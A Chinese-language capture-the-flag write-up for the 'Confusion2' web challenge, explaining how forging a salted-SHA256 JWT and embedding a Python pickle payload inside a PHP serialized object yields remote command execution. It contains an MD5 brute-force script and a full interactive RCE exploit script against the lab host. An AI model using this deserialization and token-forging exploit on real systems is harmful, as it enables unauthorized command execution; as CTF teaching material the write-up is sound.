前言
继续ctf的旅程
开始攻防世界web高手进阶区的10分题
本文是Confusion2的writeup
解题过程
Confusion1的伏笔
根据提示
本题是7分题Confusion1的延续
要用到salt
在Confusion1中给出了salt的位置/opt/salt_b420e8cfb8862548e68459ae1d37a1d5.txt
类似获取flag方法
其值是_Y0uW1llN3verKn0w1t_
Confusion2
进来是跟Confusion1一样的界面
但他有了register和login界面
看源码和御剑都没有东西
那就注册登录看看
注册还需要一个MD5验证码
python脚本爆破下
# -*- coding: utf-8 -*-
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=20):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds)
if md5.hexdigest()[start: start+str_len] == substr:
print rnds
stop_event.set()
if __name__ == '__main__':
substr = sys.argv[1].strip()
start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, start_pos))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()
成功登录
发现用户名出现在页面上
没有别的发现
抓包看看
GET /index.php HTTP/1.1
Host: 220.249.52.133:32532
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://220.249.52.133:32532/login.php
Connection: close
Cookie: session=b5e3dd74-329b-47e7-9daf-15f1ab17016d; PHPSESSID=da787bdf-87b3-420d-ad5c-8f03e0fa173f; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiIxIn0.eyJkYXRhIjoiTzo0OlwiVXNlclwiOjI6e3M6OTpcInVzZXJfZGF0YVwiO3M6NTY6XCIobHAxXG5WdGVzdFxucDJcbmFTJzA5OGY2YmNkNDYyMWQzNzNjYWRlNGU4MzI2MjdiNGY2J1xucDNcbmEuXCI7fSJ9.MTk4OTBkZmM2YzBlNTZkZmZhYzY5NTkxYTQxMGZiMjM1ODE4NTE2NWJmZjdhZjNhZThmYzVkNDljOTVkMDg5Yw
Upgrade-Insecure-Requests: 1
发现cookie里有个token
这可能是可以操作的地方
其格式是x.y.z
可能是JWT
尝试解密
试了下是sha256
payload
{
"data": "O:4:\"User\":2:{s:9:\"user_data\";s:56:\"(lp1\nVtest\np2\naS'098f6bcd4621d373cade4e832627b4f6'\np3\na.\";}"
}
显然data是一个php序列化的字符串
头一疼
根据confusion1,这题应该是python
有点晕
再看看,发现User类中user_data这个属性
(lp1\nVtest\np2\naS'098f6bcd4621d373cade4e832627b4f6'\np3\na.
是Python序列化的字符串
序列化一下会发现这是一个列表
- 第一个元素是用户名
- 第二个元素是用户名的md5
这是可以注入的地方
python的序列化和php的序列化好说
不过还得绕过JWT
看signature
结合题目提示
PS: Alice said she likes add salts when she was cooking.
hint:Alice likes adding salt at the LAST
应该要加上confusion1里的salt
绕过方法如下
var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);
var signature = SHA256(encodedString + '_Y0uW1llN3verKn0w1t_');
那思路有了
- 构造好Python序列化的RCE的字符串
- 放进PHP的序列化的字符串里面
- 根据上文JWT算法算出对应的签名
- 替换Cookie,就能执行任意命令
- Flag通过HTTP外带出来就行了
脚本
根据官方wp改的
注意:官方脚本里有个MD5proof包应该是出题人自己写的
import cPickle
import os
import sys
import base64
import hashlib
import json
import Cookie
import commands
import requests
import re
if os.name != 'posix':
print 'This must be run on Linux!'
sys.exit(1)
sess = requests.Session()
url = 'http://220.249.52.133:35437/'
SALT = '_Y0uW1llN3verKn0w1t_'
username = 'test'
password = 'test'
cmd = 'ls'
def md5proof(strs,num):
for i in range(100000,100000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if a[0:num] == strs:
print("[md5proof] %d" %i)
return str(i)
def base64_url_encode(text):
return base64.b64encode(text).replace('+', '-').replace('/', '_').replace('=', '')
def base64_url_decode(text):
text = text.replace('-', '+').replace('_', '/')
while True:
try:
result = base64.b64decode(text)
except TypeError:
text += '='
else:
break
return result
class PickleRce(object):
def __reduce__(self):
return commands.getoutput, (cmd, )
def register(username, password):
while True:
verify = md5proof(
re.findall(
'\'\),0,6\) === \'(.*?)\'</span>',
sess.get(url + 'login.php', allow_redirects=False).content
)[0],
6)
if len(verify) > 0 and '*' not in verify:
break
data = {
'username': username,
'password': password,
'verify': verify
}
ret = sess.post(url + 'register.php', data=data, allow_redirects=False)
if 'success' in ret.content:
return True
else:
print '[!] Register failed!'
print ret.content
return False
def login(username, password):
while True:
verify = md5proof(re.findall('\'\),0,6\) === \'(.*?)\'</span>',
sess.get(url + 'login.php', allow_redirects=False).content)[0],6)
if len(verify) > 0 and '*' not in verify:
break
data = {
'username': username,
'password': password,
'verify': verify
}
ret = sess.post(url + 'login.php', data=data, allow_redirects=False)
if 'success' in ret.content:
return ret
else:
print '[!] Login failed!'
print ret.content
return None
def create_jwt(kid, data):
jwt_header = base64_url_encode(
'{"typ":"JWT","alg":"sha256","kid":"%d"}' % kid)
jwt_payload = base64_url_encode('{"data":"%s"}' % data)
jwt_signature = base64_url_encode(hashlib.sha256(
jwt_header + '.' + jwt_payload + SALT).hexdigest())
return jwt_header + '.' + jwt_payload + '.' + jwt_signature
def serialize():
payload = cPickle.dumps([PickleRce(), PickleRce()])
data = json.dumps('O:4:"User":2:{s:9:"user_data";s:%d:"%s";}' % (
len(payload), payload))[1:-1]
print data
return data
if register(username, password) is not None:
login_result = login(username, password)
if login_result is not None:
try:
while True:
cmd = raw_input('>>> ')
cookies = login_result.cookies
# print '[*] Old Cookie token: ' + cookies['token']
jwt = create_jwt(int(re.findall('"kid":"(.*?)"', base64_url_decode(
login_result.cookies['token'].split('.')[0]))[0]), serialize())
new_token = Cookie.SimpleCookie().value_encode(jwt)[1]
# print '[*] New Cookie token: ' + new_token
new_cookies = {
'PHPSESSID': cookies['PHPSESSID'],
'token': new_token
}
ret = requests.get(url + 'index.php',
allow_redirects=False, cookies=new_cookies)
print '[*] RCE result: ' + re.findall('<p class="hello">Hello ([\s\S]*?)</p>', ret.content)[0]
except KeyboardInterrupt:
print '\nExit.'
根据提示flag在opt目录下
获得flag
结语
有点绕
参考官方wp
知识点
- SSTI
- md5截取
- JWT的token
- Python和PHP的序列化